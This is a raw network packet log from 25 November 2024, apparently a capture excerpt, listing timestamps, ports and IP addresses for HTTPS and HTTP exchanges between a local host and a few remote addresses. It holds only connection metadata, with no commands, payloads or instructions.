Nov 25, 2024 07:53:22.585485935 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.589307070 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.589325905 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.589373112 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.589387894 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.589402914 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.589458942 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.590622902 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.590648890 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.590715885 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.590715885 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.590723038 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.590816975 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.596091032 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.596127987 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.596155882 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.596164942 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.596193075 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.596210957 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.597373009 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.597392082 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.597434998 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.597443104 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.597477913 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.600620031 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.600637913 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.600709915 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.600728035 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.600740910 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.600806952 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.604566097 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.604588032 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.604635000 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.604654074 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.604676008 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.604741096 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.609111071 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.609133959 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.609204054 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.609214067 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.609260082 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.611963987 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.611980915 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.612037897 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.612059116 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.612102985 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.612102985 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.612483025 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.612540960 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.612565041 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.612571001 CET	443	49731	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.612611055 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.612629890 CET	49731	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.618156910 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.618156910 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.618182898 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.618237972 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.618272066 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.618278027 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.618283987 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.618290901 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.618338108 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.618361950 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.618784904 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.618891001 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.618897915 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.619003057 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.619966984 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.620019913 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.620172977 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.620254040 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.620270014 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.620273113 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.620331049 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.620340109 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.620390892 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.621115923 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.621166945 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.621237993 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.622226954 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.622272968 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.622328043 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.622428894 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.622487068 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.622529984 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.622595072 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.622595072 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.622613907 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.622808933 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.623454094 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.623528957 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.623568058 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.623568058 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.624596119 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.624650955 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.624706984 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.624855042 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.625772953 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.625843048 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.625879049 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.625920057 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.626669884 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.626702070 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.626780987 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.626780987 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.626791954 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.626844883 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.626929045 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.626929045 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.626944065 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.627068043 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.627980947 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.628025055 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.628035069 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.628190041 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.631001949 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.631026030 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.631118059 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.631118059 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.631127119 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.631194115 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.632050037 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.632070065 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.632110119 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.632118940 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.632138014 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.632155895 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.632186890 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.632204056 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.632250071 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.632272959 CET	443	49733	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.632292032 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.632432938 CET	49733	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.640228033 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.640249968 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.640320063 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.640320063 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.640328884 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.640403986 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.642298937 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.642321110 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.642369986 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.642376900 CET	443	49729	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.642446041 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.642446041 CET	49729	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.644716978 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.644738913 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.644818068 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.644818068 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.644825935 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.644896984 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.651487112 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.651515007 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.651572943 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.651587963 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.651604891 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.651628971 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.656696081 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.656716108 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.656789064 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.656789064 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.656804085 CET	443	49730	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.657021046 CET	49730	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.659616947 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.661014080 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.661027908 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.661587000 CET	49737	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:22.661606073 CET	443	49737	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:22.664247990 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.664268970 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.664309978 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.664324045 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.664356947 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.664388895 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.676122904 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.676152945 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.676222086 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.676222086 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.676234007 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.676327944 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.680495977 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.680558920 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.680572987 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.680643082 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.680949926 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.681073904 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.681090117 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.681178093 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.681797028 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.681936026 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.681968927 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.682012081 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.682553053 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.682610035 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.682847977 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.682965994 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.682971954 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.683027983 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.683649063 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.683762074 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.683794975 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.683794975 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.684487104 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.684591055 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.684603930 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.684654951 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.685348988 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.685360909 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.685410976 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.686157942 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.686244965 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.686275959 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.686424971 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.687025070 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.687077045 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.687115908 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.687146902 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.687880039 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.687937021 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.687959909 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.688045025 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.688633919 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.688765049 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.688787937 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.688916922 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.688918114 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.688935995 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.689011097 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.689018011 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.689053059 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.689053059 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.689486027 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.689523935 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.689564943 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.689867020 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.690363884 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.690421104 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.690459967 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.690542936 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.691128969 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.691175938 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.691235065 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.691339016 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.691966057 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.692013025 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.692054033 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.692054033 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.692797899 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.692838907 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.692898035 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.693115950 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.693634987 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.693685055 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.693722963 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.693775892 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.694473028 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.694526911 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.694570065 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.694719076 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.695274115 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.695332050 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.695374012 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.695411921 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.696125031 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.696136951 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.696172953 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.696201086 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.701637983 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.701656103 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.701776028 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.701776028 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.701783895 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.701833010 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.701899052 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.701972961 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.701983929 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.702052116 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.702096939 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.702239037 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.702245951 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.702274084 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.702918053 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.702970982 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.702986002 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.703332901 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.703727007 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.703754902 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.703768015 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.703790903 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.704560995 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.704622030 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.704643011 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.704685926 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.705466986 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.705478907 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.705563068 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.705563068 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.706218004 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.706291914 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.706376076 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.707098961 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.707164049 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.707197905 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.707282066 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.707875013 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.707945108 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.708173037 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.708724976 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.708777905 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.708838940 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.708899021 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.709552050 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.709609985 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.709665060 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.709698915 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.710366011 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.710431099 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.710469961 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.710535049 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.711301088 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.711318016 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.711360931 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.711381912 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.712033033 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.712219000 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.712358952 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.712671041 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.712686062 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.712768078 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.712779999 CET	443	49732	150.171.27.10	192.168.2.6
Nov 25, 2024 07:53:22.712825060 CET	49732	443	192.168.2.6	150.171.27.10
Nov 25, 2024 07:53:22.712893963 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.712944031 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.712975979 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.713344097 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.713685989 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.713764906 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.713798046 CET	80	49722	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:22.714101076 CET	49722	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:22.714503050 CET	80	49722	185.215.113.206	192.168.2.6
